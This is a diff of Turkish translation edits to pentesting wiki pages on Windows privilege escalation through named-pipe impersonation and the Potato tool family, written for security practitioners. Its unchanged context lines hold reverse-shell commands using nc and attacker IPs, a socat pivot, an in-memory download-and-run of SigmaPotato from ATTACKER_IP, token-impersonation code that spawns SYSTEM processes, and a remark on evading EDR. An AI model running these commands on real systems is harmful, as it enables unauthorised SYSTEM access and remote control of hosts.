@@ -124,10 +124,10 @@ Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$n
 Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
 ```
 Notlar
-- Aynı mantığı diğer sık kullanılan COM bileşenlerine uygulayabilirsiniz; önce `HKCR\CLSID\{CLSID}\TypeLib` anahtarından gerçek `LIBID`'yi çözümleyin.
+- Aynı mantığı diğer sık kullanılan COM bileşenlerine de uygulayabilirsiniz; gerçek `LIBID`'yi önce `HKCR\CLSID\{CLSID}\TypeLib`'ten belirleyin.
 - 64-bit sistemlerde 64-bit tüketiciler için `win64` alt anahtarını da doldurabilirsiniz.
 
-## Kaynaklar
+## Referanslar
 
 - [Hijack the TypeLib – New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
 - [Check Point Research – ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)

src/windows-hardening/windows-local-privilege-escalation/named-pipe-client-impersonation.md

@@ -2,27 +2,27 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Named Pipe client impersonation, bir named-pipe server thread'in ona bağlanan bir client'ın security context'ini benimsemesine izin veren bir local privilege escalation primitive'idir. Pratikte, SeImpersonatePrivilege ile kod çalıştırabilen bir saldırgan, ayrıcalıklı bir client'ı (ör. bir SYSTEM servisi) saldırgan-kontrollü bir pipe'a bağlanmaya zorlayabilir, ImpersonateNamedPipeClient çağırabilir, ortaya çıkan token'ı primary token'a duplicate edebilir ve client olarak (çoğunlukla NT AUTHORITY\SYSTEM) bir process spawn edebilir.
+Named Pipe client impersonation, bir named-pipe sunucu iş parçacığının ona bağlanan bir client'ın güvenlik bağlamını üstlenmesini sağlayan bir local privilege escalation primitifidir. Pratikte, SeImpersonatePrivilege ile kod çalıştırabilen bir saldırgan, ayrıcalıklı bir client'ı (ör. bir SYSTEM servisi) saldırgan-kontrolündeki bir pipe'a bağlanmaya zorlayabilir, ImpersonateNamedPipeClient çağrısı yapabilir, ortaya çıkan token'ı primary token olarak DuplicateTokenEx ile çoğaltabilir ve client olarak bir süreç başlatabilir (çoğunlukla NT AUTHORITY\SYSTEM).
 
-Bu sayfa temel tekniğe odaklanır. SYSTEM'i sizin pipe'ınıza zorlayan uçtan uca exploit zincirleri için aşağıda referans verilen Potato family sayfalarına bakın.
+Bu sayfa temel tekniğe odaklanır. SYSTEM'i pipe'ınıza bağlamaya zorlayan uçtan uca exploit zincirleri için aşağıda referans verilen Potato family sayfalarına bakın.
 
 ## TL;DR
-- Create a named pipe: \\.\pipe\<random> ve bağlantı bekleyin.
-- Bir ayrıcalıklı bileşeni buna bağlayın (spooler/DCOM/EFSRPC/etc.).
-- Pipe'dan en az bir mesaj okuyun, sonra ImpersonateNamedPipeClient çağırın.
-- Open the impersonation token from the current thread, DuplicateTokenEx(TokenPrimary) ve CreateProcessWithTokenW/CreateProcessAsUser ile bir SYSTEM process elde edin.
+- Bir named pipe oluşturun: \\.\pipe\<random> ve bir bağlantı bekleyin.
+- Ayrıcalıklı bir bileşenin ona bağlanmasını sağlayın (spooler/DCOM/EFSRPC/vesaire).
+- Pipe'tan en az bir mesaj okuyun, sonra ImpersonateNamedPipeClient çağrısı yapın.
+- Mevcut iş parçacığından impersonation token'ını açın, DuplicateTokenEx(TokenPrimary) yapın ve CreateProcessWithTokenW/CreateProcessAsUser ile SYSTEM süreci elde edin.
 
 ## Requirements and key APIs
-- Privileges typically needed by the calling process/thread:
+- Çağıran process/thread tarafından tipik olarak gereken ayrıcalıklar:
 - SeImpersonatePrivilege, bağlanan bir client'ı başarılı şekilde impersonate etmek ve CreateProcessWithTokenW kullanmak için.
-- Alternatif olarak, SYSTEM'i impersonate ettikten sonra CreateProcessAsUser kullanabilirsiniz; bu, SeAssignPrimaryTokenPrivilege ve SeIncreaseQuotaPrivilege gerektirebilir (bunlar SYSTEM'i impersonate ederken karşılanır).
-- Core APIs used:
+- Alternatif olarak, SYSTEM'i impersonate ettikten sonra CreateProcessAsUser kullanabilirsiniz; bu SeAssignPrimaryTokenPrivilege ve SeIncreaseQuotaPrivilege gerektirebilir (bunlar SYSTEM'i impersonate ederken sağlanır).
+- Kullanılan temel API'ler:
 - CreateNamedPipe / ConnectNamedPipe
-- ReadFile/WriteFile (impersonation'dan önce en az bir mesaj okunmalıdır)
+- ReadFile/WriteFile (impersonasyondan önce en az bir mesaj okunmalıdır)
 - ImpersonateNamedPipeClient ve RevertToSelf
 - OpenThreadToken, DuplicateTokenEx(TokenPrimary)
 - CreateProcessWithTokenW veya CreateProcessAsUser
-- Impersonation level: yerelde faydalı işlemler yapabilmek için client, SecurityImpersonation'a izin vermelidir (birçok local RPC/named-pipe client için varsayılan). Client'lar pipe'ı açarken SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION ile bunu düşürebilir.
+- Impersonation seviyesi: yerel olarak faydalı işlemler yapabilmek için client, SecurityImpersonation'a izin vermelidir (birçok yerel RPC/named-pipe client için varsayılan). Client'lar pipe'ı açarken SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION ile bunu düşürebilirler.
 
 ## Minimal Win32 workflow (C)
 ```c
@@ -69,11 +69,11 @@ return 0;
 }
 ```
 Notlar:
-- Eğer ImpersonateNamedPipeClient ERROR_CANNOT_IMPERSONATE (1368) döndürürse, önce pipe'tan okuduğunuzdan ve istemcinin impersonation'ı Identification seviyesine kısıtlamadığından emin olun.
-- Process oluşturmak için uygun bir primary token oluşturmak amacıyla DuplicateTokenEx'i SecurityImpersonation ve TokenPrimary ile tercih edin.
+- Eğer ImpersonateNamedPipeClient ERROR_CANNOT_IMPERSONATE (1368) döndürürse, önce pipe'tan okuduğunuzdan ve istemcinin impersonation'ı Identification level ile sınırlamadığından emin olun.
+- Process oluşturma için uygun bir primary token yaratmak amacıyla DuplicateTokenEx'i SecurityImpersonation ve TokenPrimary ile tercih edin.
 
-## .NET quick example
-In .NET, NamedPipeServerStream can impersonate via RunAsClient. Once impersonating, duplicate the thread token and create a process.
+## .NET hızlı örnek
+.NET'te NamedPipeServerStream RunAsClient aracılığıyla impersonate edebilir. Impersonate edildikten sonra thread token'ı duplicate edip bir process oluşturun.
 ```csharp
 using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics;
 class P {
@@ -93,13 +93,13 @@ Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref
 }
 }
 ```
-## Common triggers/coercions to get SYSTEM to your pipe
-Bu teknikler ayrıcalıklı servisleri sizin named pipe'ınıza bağlanmaya zorlayarak onları taklit etmenizi sağlar:
+## SYSTEM'i pipe'ınıza bağlatmak için yaygın tetikleyiciler/zorlama yöntemleri
+Bu teknikler, ayrıcalıklı hizmetleri sizin named pipe'ınıza bağlanmaya zorlayarak onları taklit etmenizi sağlar:
 - Print Spooler RPC trigger (PrintSpoofer)
 - DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato)
 - EFSRPC pipes (EfsPotato/SharpEfsPotato)
 
-See detailed usage and compatibility here:
+Ayrıntılı kullanım ve uyumluluk için bakınız:
 
 -
 {{#ref}}
@@ -110,24 +110,24 @@ roguepotato-and-printspoofer.md
 juicypotato.md
 {{#endref}}
 
-If you just need a full example of crafting the pipe and impersonating to spawn SYSTEM from a service trigger, see:
+Eğer sadece pipe'ı oluşturma ve bir hizmet tetikleyicisinden SYSTEM oluşturmak için taklit etme konusunda tam bir örneğe ihtiyacınız varsa, bakınız:
 
 -
 {{#ref}}
 from-high-integrity-to-system-with-name-pipes.md
 {{#endref}}
 
-## Troubleshooting and gotchas
-- ImpersonateNamedPipeClient çağırmadan önce pipe'dan en az bir mesaj okumalısınız; aksi takdirde ERROR_CANNOT_IMPERSONATE (1368) alırsınız.
-- Eğer istemci SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION ile bağlanırsa, sunucu tam olarak taklit edemez; token’ın impersonation level’ını GetTokenInformation(TokenImpersonationLevel) ile kontrol edin.
-- CreateProcessWithTokenW çağıranın SeImpersonatePrivilege sahibi olmasını gerektirir. Eğer bu ERROR_PRIVILEGE_NOT_HELD (1314) ile başarısız olursa, önce SYSTEM'i taklit ettikten sonra CreateProcessAsUser kullanın.
-- Pipe’inizin security descriptor'ünün, sertleştirirseniz hedef servisin bağlanmasına izin verdiğinden emin olun; varsayılan olarak, \\.\pipe altındaki pipe'lar server’ın DACL'ine göre erişilebilirdir.
+## Sorun giderme ve tuzaklar
+- ImpersonateNamedPipeClient çağırmadan önce pipe'tan en az bir mesaj okumalısınız; aksi takdirde ERROR_CANNOT_IMPERSONATE (1368) alırsınız.
+- Eğer client SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION ile bağlanırsa, server tam olarak taklit edemez; token'ın impersonation seviyesini GetTokenInformation(TokenImpersonationLevel) ile kontrol edin.
+- CreateProcessWithTokenW çağıran üzerinde SeImpersonatePrivilege gerektirir. Bu ERROR_PRIVILEGE_NOT_HELD (1314) ile başarısız olursa, zaten SYSTEM'i taklit ettikten sonra CreateProcessAsUser kullanın.
+- Pipe'ınızın security descriptor'ının hedef servisin bağlanmasına izin verdiğinden emin olun; sertleştirirseniz dikkat edin. Varsayılan olarak, \\.\pipe altındaki pipe'lar server'ın DACL'sine göre erişilebilirdir.
 
-## Detection and hardening
-- Named pipe oluşturulmasını ve bağlantılarını izleyin. Sysmon Event IDs 17 (Pipe Created) ve 18 (Pipe Connected), meşru pipe isimlerini temel alıp token-manipulation olaylarından önce gelen alışılmadık, rastgele görünen pipe'ları yakalamak için faydalıdır.
-- Aşağıdaki sıra dizilerini arayın: bir süreç bir pipe oluşturur, bir SYSTEM servisi bağlanır, ardından oluşturan süreç SYSTEM olarak bir çocuk başlatır.
-- Gereksiz servis hesaplarından SeImpersonatePrivilege'i kaldırarak ve yüksek ayrıcalıklı gereksiz servis logonlarından kaçınarak maruziyeti azaltın.
-- Defansif geliştirme: güvensiz named pipe'lara bağlanırken, gerektiği durumlar dışında sunucuların istemciyi tam olarak taklit etmesini engellemek için SECURITY_SQOS_PRESENT ile SECURITY_IDENTIFICATION belirtin.
+## Tespit ve sertleştirme
+- Named pipe oluşturulmasını ve bağlantıları izleyin. Sysmon Event IDs 17 (Pipe Created) ve 18 (Pipe Connected), meşru pipe isimlerini temel almak ve token-manipülasyon olaylarından önce görülen sıra dışı, rastgele görünümlü pipe'ları yakalamak için kullanışlıdır.
+- Aşağıdaki dizilimlere bakın: bir process pipe oluşturur, bir SYSTEM service bağlanır, sonra pipe'ı oluşturan process SYSTEM olarak bir child spawn eder.
+- Gereksiz servis hesaplarından SeImpersonatePrivilege'i kaldırarak ve yüksek ayrıcalıklı gereksiz service logon'larından kaçınarak maruziyeti azaltın.
+- Savunmacı geliştirme: güvenilmeyen named pipe'lara bağlanırken, sunucuların gerektiğinde haricinde client'ı tam taklit etmesini engellemek için SECURITY_SQOS_PRESENT ile SECURITY_IDENTIFICATION belirtin.
 
 ## References
 - Windows: ImpersonateNamedPipeClient documentation (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient

src/windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md

@@ -3,10 +3,10 @@
 {{#include ../../banners/hacktricks-training.md}}
 
 > [!WARNING]
-> **JuicyPotato artık çalışmıyor** Windows Server 2019 ve Windows 10 build 1809 ve sonrası. Ancak, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** kullanılabilir **aynı ayrıcalıkları kullanmak ve `NT AUTHORITY\SYSTEM` seviyesinde erişim elde etmek**. Bu [blog yazısı](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) `PrintSpoofer` aracını derinlemesine inceliyor; bu araç JuicyPotato'nun artık çalışmadığı Windows 10 ve Server 2019 makinelerinde impersonation ayrıcalıklarını kötüye kullanmak için kullanılabilir.
+> **JuicyPotato doesn't work** on Windows Server 2019 and Windows 10 build 1809 onwards. However, [**PrintSpoofer**](https://github.com/itm4n/PrintSpoofer)**,** [**RoguePotato**](https://github.com/antonioCoco/RoguePotato)**,** [**SharpEfsPotato**](https://github.com/bugch3ck/SharpEfsPotato)**,** [**GodPotato**](https://github.com/BeichenDream/GodPotato)**,** [**EfsPotato**](https://github.com/zcgonvh/EfsPotato)**,** [**DCOMPotato**](https://github.com/zcgonvh/DCOMPotato)** can be used to **leverage the same privileges and gain `NT AUTHORITY\SYSTEM`** level access. This [blog post](https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/) goes in-depth on the `PrintSpoofer` tool, which can be used to abuse impersonation privileges on Windows 10 and Server 2019 hosts where JuicyPotato no longer works.
 
 > [!TIP]
-> 2024–2025'te sıkça bakım yapılan modern bir alternatif SigmaPotato (a fork of GodPotato) olup in-memory/.NET reflection kullanımını ve genişletilmiş OS desteğini ekler. Aşağıda hızlı kullanım ve Referanslar bölümündeki repo'ya bakın.
+> A modern alternative frequently maintained in 2024–2025 is SigmaPotato (a fork of GodPotato) which adds in-memory/.NET reflection usage and extended OS support. See quick usage below and the repo in References.
 
 Related pages for background and manual techniques:
 
@@ -24,10 +24,10 @@ privilege-escalation-abusing-tokens.md
 
 ## Gereksinimler ve yaygın tuzaklar
 
-Aşağıdaki tüm teknikler, aşağıdaki ayrıcalıklardan birine sahip bir bağlamdan impersonation yeteneği olan ayrıcalıklı bir servisi kötüye kullanmaya dayanır:
+Aşağıdaki tekniklerin tümü, impersonation yeteneğine sahip ayrıcalıklı bir servisi, aşağıdaki ayrıcalıklardan birine sahip bir bağlamdan kötüye kullanmaya dayanır:
 
 - SeImpersonatePrivilege (en yaygın) veya SeAssignPrimaryTokenPrivilege
-- Token zaten SeImpersonatePrivilege içeriyorsa yüksek bütünlük (High integrity) gerekmez (IIS AppPool, MSSQL gibi birçok servis hesabı için tipiktir).
+- High integrity, token zaten SeImpersonatePrivilege içeriyorsa gerekli değildir (IIS AppPool, MSSQL gibi birçok servis hesabı için tipik).
 
 Ayrıcalıkları hızlıca kontrol edin:
 ```cmd
@@ -35,12 +35,12 @@ whoami /priv | findstr /i impersonate
 ```
 Operasyonel notlar:
 
-- PrintSpoofer, Print Spooler servisinin çalışıyor olmasını ve yerel RPC endpoint'i (spoolss) üzerinden erişilebilir olmasını gerektirir. PrintNightmare sonrası Spooler'ın devre dışı bırakıldığı sertleştirilmiş ortamlarda RoguePotato/GodPotato/DCOMPotato/EfsPotato'yu tercih edin.
-- RoguePotato, TCP/135 üzerinden erişilebilir bir OXID resolver gerektirir. Egress engelliyse bir redirector/port-forwarder kullanın (aşağıdaki örneğe bakın). Eski sürümler -f flag'ini gerektiriyordu.
-- EfsPotato/SharpEfsPotato MS-EFSR'i kötüye kullanır; eğer bir pipe engellenmişse, alternatif pipe'ları deneyin (lsarpc, efsrpc, samr, lsass, netlogon).
-- RpcBindingSetAuthInfo sırasında görülen 0x6d3 hatası genellikle bilinmeyen/desteklenmeyen RPC kimlik doğrulama servisini gösterir; farklı bir pipe/transport deneyin veya hedef servisin çalıştığından emin olun.
+- PrintSpoofer, Print Spooler servisinin çalışıyor olmasını ve yerel RPC uç noktası (spoolss) üzerinden erişilebilir olmasını gerektirir. PrintNightmare sonrası Spooler'ın devre dışı bırakıldığı sertleştirilmiş ortamlarda RoguePotato/GodPotato/DCOMPotato/EfsPotato tercih edin.
+- RoguePotato, TCP/135 üzerinden erişilebilir bir OXID resolver gerektirir. Egress engelliyse bir redirector/port-forwarder kullanın (aşağıdaki örneğe bakın). Eski build'ler -f bayrağına ihtiyaç duyuyordu.
+- EfsPotato/SharpEfsPotato MS-EFSR'i kötüye kullanır; eğer bir pipe engellenmişse alternatif pipe'ları deneyin (lsarpc, efsrpc, samr, lsass, netlogon).
+- RpcBindingSetAuthInfo sırasında oluşan Error 0x6d3 genellikle bilinmeyen/desteklenmeyen bir RPC kimlik doğrulama servisini gösterir; farklı bir pipe/transport deneyin ya da hedef servisin çalıştığından emin olun.
 
-## Quick Demo
+## Hızlı Demo
 
 ### PrintSpoofer
 ```bash
@@ -58,8 +58,8 @@ NULL
 
 ```
 Notlar:
-- -i ile mevcut konsolda etkileşimli bir süreç başlatabilir veya -c ile tek satırlık bir komut çalıştırabilirsiniz.
-- Spooler servisi gerektirir. Devre dışıysa, bu başarısız olur.
+- Mevcut konsolda etkileşimli bir süreç başlatmak için -i, tek satırlık bir komut çalıştırmak için -c kullanabilirsiniz.
+- Spooler service gerektirir. Devre dışıysa bu başarısız olur.
 
 ### RoguePotato
 ```bash
@@ -67,7 +67,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
 # In some old versions you need to use the "-f" param
 c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
 ```
-Eğer outbound 135 engelliyse, redirector'ınızda socat ile OXID resolver'ı pivotlayın:
+Eğer outbound 135 engellenmişse, redirector üzerinde socat ile OXID resolver'ı pivot edin:
 ```bash
 # On attacker redirector (must listen on TCP/135 and forward to victim:9999)
 socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
@@ -111,7 +111,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
 
 nt authority\system
 ```
-İpucu: Eğer bir pipe başarısız olursa veya EDR bunu engellerse, diğer desteklenen pipes'leri deneyin:
+İpucu: Bir pipe başarısız olursa veya EDR bunu engelliyorsa, diğer desteklenen pipe'leri deneyin:
 ```text
 EfsPotato <cmd> [pipe]
 pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
@@ -122,14 +122,14 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
 # You can achieve a reverse shell like this.
 > GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
 ```
-Notes:
-- SeImpersonatePrivilege mevcut olduğunda Windows 8/8.1–11 ve Server 2012–2022 genelinde çalışır.
+Notlar:
+- SeImpersonatePrivilege mevcut olduğunda Windows 8/8.1–11 ve Server 2012–2022'de çalışır.
 
 ### DCOMPotato
 
 ![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa)
 
-DCOMPotato, varsayılan olarak RPC_C_IMP_LEVEL_IMPERSONATE olan servis DCOM nesnelerini hedefleyen iki varyant sağlar. Sağlanan ikili dosyaları derleyin veya kullanın ve komutunuzu çalıştırın:
+DCOMPotato, varsayılan olarak RPC_C_IMP_LEVEL_IMPERSONATE olan hizmet DCOM nesnelerini hedefleyen iki varyant sağlar. Sağlanan ikili dosyaları derleyin veya kullanın ve komutunuzu çalıştırın:
 ```cmd
 # PrinterNotify variant
 PrinterNotifyPotato.exe "cmd /c whoami"
@@ -137,9 +137,9 @@ PrinterNotifyPotato.exe "cmd /c whoami"
 # McpManagementService variant (Server 2022 also)
 McpManagementPotato.exe "cmd /c whoami"
 ```
-### SigmaPotato (güncellenmiş GodPotato fork'ı)
+### SigmaPotato (güncellenmiş GodPotato fork)
 
-SigmaPotato, .NET reflection aracılığıyla bellek içi yürütme ve bir PowerShell reverse shell yardımcısı gibi modern kolaylıklar ekler.
+SigmaPotato, .NET reflection aracılığıyla in-memory execution ve PowerShell reverse shell helper gibi modern kolaylıklar ekler.
 ```powershell
 # Load and execute from memory (no disk touch)
 [System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
@@ -150,11 +150,11 @@ SigmaPotato, .NET reflection aracılığıyla bellek içi yürütme ve bir Power
 ```
 ## Tespit ve sertleştirme notları
 
-- İzleyin: named pipes oluşturan ve hemen token-duplication APIs çağırıp CreateProcessAsUser/CreateProcessWithTokenW ile devam eden süreçleri. Sysmon faydalı telemetri sağlayabilir: Event ID 1 (process creation), 17/18 (named pipe created/connected), ve SYSTEM olarak çocuk süreçler başlatan komut satırları.
-- Spooler hardening: Print Spooler servisinin gerekmediği sunucularda devre dışı bırakılması, spoolss aracılığıyla PrintSpoofer-style yerel coercions'u engeller.
-- Service account hardening: SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege atamasını özel servislere mümkün olduğunca sınırlayın. Servisleri gerekirse en az gerekli ayrıcalıkla virtual accounts altında çalıştırmayı ve mümkünse service SID ile izole edip write-restricted tokens kullanmayı değerlendirin.
-- Network controls: Çıkış TCP/135'i engellemek veya RPC endpoint mapper trafiğini kısıtlamak, dahili bir redirector yoksa RoguePotato'yu bozabilir.
-- EDR/AV: Bu araçların tümü yaygın şekilde signature'lanmıştır. Recompiling from source, renaming symbols/strings, veya in-memory execution kullanmak tespiti azaltabilir ama sağlam behavioral detections'ı yenmez.
+- Monitor for processes creating named pipes and immediately calling token-duplication APIs followed by CreateProcessAsUser/CreateProcessWithTokenW. Sysmon can surface useful telemetry: Event ID 1 (process creation), 17/18 (named pipe created/connected), and command lines spawning child processes as SYSTEM.
+- Spooler sertleştirmesi: Gereksiz olduğu sunucularda Print Spooler servisini devre dışı bırakmak, spoolss aracılığıyla gerçekleşen PrintSpoofer-style yerel suistimalleri engeller.
+- Hizmet hesabı sertleştirmesi: Özel servislere SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege atamasını en aza indirin. Mümkünse servisleri virtual accounts altında gerekli en düşük ayrıcalıklarla çalıştırmayı ve service SID ile write-restricted tokens kullanarak izole etmeyi düşünün.
+- Network kontrolleri: Outbound TCP/135 trafiğini engellemek veya RPC endpoint mapper trafiğini kısıtlamak, bir internal redirector yoksa RoguePotato'yu bozabilir.
+- EDR/AV: Bu araçların tamamı yaygın şekilde signatured. Kaynaktan yeniden derlemek, symbols/strings'i yeniden adlandırmak veya in-memory execution kullanmak tespiti azaltabilir ancak sağlam davranış tabanlı tespitleri aşmaz.
 
 ## Referanslar